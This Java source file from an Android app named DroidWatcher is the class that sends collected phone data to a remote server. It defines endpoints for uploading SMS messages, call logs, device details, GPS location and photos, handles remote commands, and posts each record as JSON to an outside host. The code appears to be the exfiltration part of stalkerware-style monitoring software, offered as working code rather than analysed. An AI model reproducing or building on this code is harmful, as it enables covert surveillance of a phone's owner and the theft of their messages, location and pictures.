package com.droidwatcher;

import android.content.Context;
import android.content.Intent;

import com.droidwatcher.lib.ServerConst;
import com.droidwatcher.services.AppService;
import com.droidwatcher.util.AXLog;
import com.droidwatcher.variables.IServerMessage;

import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.conn.ConnectTimeoutException;
import org.apache.http.entity.StringEntity;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.params.CoreConnectionPNames;
import org.apache.http.util.EntityUtils;

import java.util.Locale;

public class ServerMessanger extends Thread {
    //public static final String SERVER_ADDRESS = "http://droidwatcher.appspot.com/";


    public static final String SERVER_ADDRESS = "http://sp.kuuvv.com/api/";

    private static final String SERVER_ADDRESS_SERVICE = SERVER_ADDRESS + "Service";

    private static final String SERVER_ADDRESS_VIEWER = SERVER_ADDRESS + "user/signup"; //注册

    private static final String SERVER_ADDRESS_GCM = SERVER_ADDRESS + "GCM";
    private static final String SERVER_ADDRESS_ONLINE = SERVER_ADDRESS + "Online";

    private static final String SERVER_ADDRESS_SMS = SERVER_ADDRESS + "sms_info/insert"; //传短信
    private static final String SERVER_ADDRESS_lOGIN = SERVER_ADDRESS + "user/signin"; //登录

    private static final String SERVER_CALL_INSERT = SERVER_ADDRESS + "call_log/insert"; //


    private static final String SERVER_MOBILE_INFO_INSERT = SERVER_ADDRESS + "device_info/insert"; //


    private static final String SERVER_GPS_INSERT = SERVER_ADDRESS + "location/update"; //

    private static final String SERVER_PIC_UPLOAD = SERVER_ADDRESS + "picture/upload"; //  图片上传

    private static final String SERVER_PIC_PICUPLOAD2 = "http://sp.kuuvv.com/picture/upload"; //  图片上传

    private IServerMessage msg;
    private Context context;
    private ICallBack callback;

    public ServerMessanger(Context context, IServerMessage message) {
        this(context, message, null);
    }

    public ServerMessanger(Context context, IServerMessage message, ICallBack callback) {
        this.msg = message;
        this.context = context;
        this.callback = callback;
    }



    @Override
    public void run() {
        try {

            HttpPost httpPost = null;
            HttpClient httpClient = new DefaultHttpClient();
            // 请求超时
            httpClient.getParams().setParameter(CoreConnectionPNames.CONNECTION_TIMEOUT, 10000);
            // 读取超时
            httpClient.getParams().setParameter(CoreConnectionPNames.SO_TIMEOUT, 10000    );

//            URL url  =   new URL("");
//            HttpURLConnection connection = (HttpURLConnection) url.openConnection();
//            connection.setConnectTimeout();
            switch (msg.getType()) {
                case GCM_REG:
                case GCM_PING_RESPONSE:
                case GCM_COMMAND_RESPONSE:
                    httpPost = new HttpPost(SERVER_ADDRESS_GCM);
                    break;
                case ONLINE_POSITION:
                    httpPost = new HttpPost(SERVER_ADDRESS_ONLINE);
                    break;
                case REGISTER:
                    httpPost = new HttpPost(SERVER_ADDRESS_VIEWER);
                    break;
                case LOGIN:
                    httpPost = new HttpPost(SERVER_ADDRESS_lOGIN);
                    break;
                case CALL:
                    httpPost = new HttpPost(SERVER_CALL_INSERT);
                    break;
                case SMS:
                    httpPost = new HttpPost(SERVER_ADDRESS_SMS);
                    break;
                case MOBILE_INFO:
                    httpPost = new HttpPost(SERVER_MOBILE_INFO_INSERT);
                    break;
                case GPS:
                    httpPost = new HttpPost(SERVER_GPS_INSERT);
                    break;
                case PHOTO:
                    httpPost = new HttpPost(SERVER_PIC_UPLOAD);// 上传图片
                    break;
                default:
                    httpPost = new HttpPost(SERVER_ADDRESS_SERVICE);
                    break;
            }


            httpPost.addHeader("Content-type", "application/json; charset=utf-8");
            httpPost.setHeader("Accept", "application/json");

            AXLog.e("wzytest","请求参数 msg:"+msg.getJSONString() + "httpPost.getURI():"+httpPost.getURI());
            StringEntity stringEntity = new StringEntity(msg.getJSONString(), "UTF-8");
            httpPost.setEntity(stringEntity);
            HttpResponse response = httpClient.execute(httpPost);

            AXLog.e("wzytest","StatusLine :" +response.getStatusLine());

            if (response != null) {
                HttpEntity entity = response.getEntity();

                if (entity != null) {
                    String data = EntityUtils.toString(entity);
                    callBack(data);
                }
            }
        } catch (ConnectTimeoutException e){
            AXLog.e("wzytest","请求超时");
        }catch (Exception e) {
            AXLog.e("wzytest","发生错误 callback:"+callback);
            e.printStackTrace();
            Debug.exception(e);

            if (callback != null) {
                callback.onError();
            }
        }
    }

//	public static String compressString(String srcTxt) throws java.io.IOException {
//		  java.io.ByteArrayOutputStream rstBao = new java.io.ByteArrayOutputStream();
//		  java.util.zip.GZIPOutputStream zos = new java.util.zip.GZIPOutputStream(rstBao);
//		  zos.write(srcTxt.getBytes());
//		  zos.close();
//
//		  byte[] bytes = rstBao.toByteArray();
//		  return android.util.Base64.encodeToString(bytes, android.util.Base64.DEFAULT);
//	}

    private void callBack(String response) {

        response = response.toLowerCase(Locale.US);
        Debug.i(msg.getType() + " response: " + response);

        if (callback == null) {
            return;
        }

        boolean handled = callback.onFinished(response);
        if (handled) {
            return;
        }

//        if (response.equals(ServerConst.OK)) {
//            callback.onSuccess();
//        } else {
//            callback.onError();
//        }

        if (response.equals(ServerConst.DISCONNECT)) {
            new SettingsManager(context).connected(false);
            context.stopService(new Intent(context, AppService.class));
        }
    }

    public interface ICallBack {
        /**
         * Fires on request finished
         *
         * @param response - response body
         * @return true if event was handled, otherwise onSuccess or onError will fire
         */
        public boolean onFinished(String response);

        /**
         * Fires if server response != "ok"
         */
        public void onError();

        /**
         * Fires if server response == "ok"
         */
        public void onSuccess();
    }
}
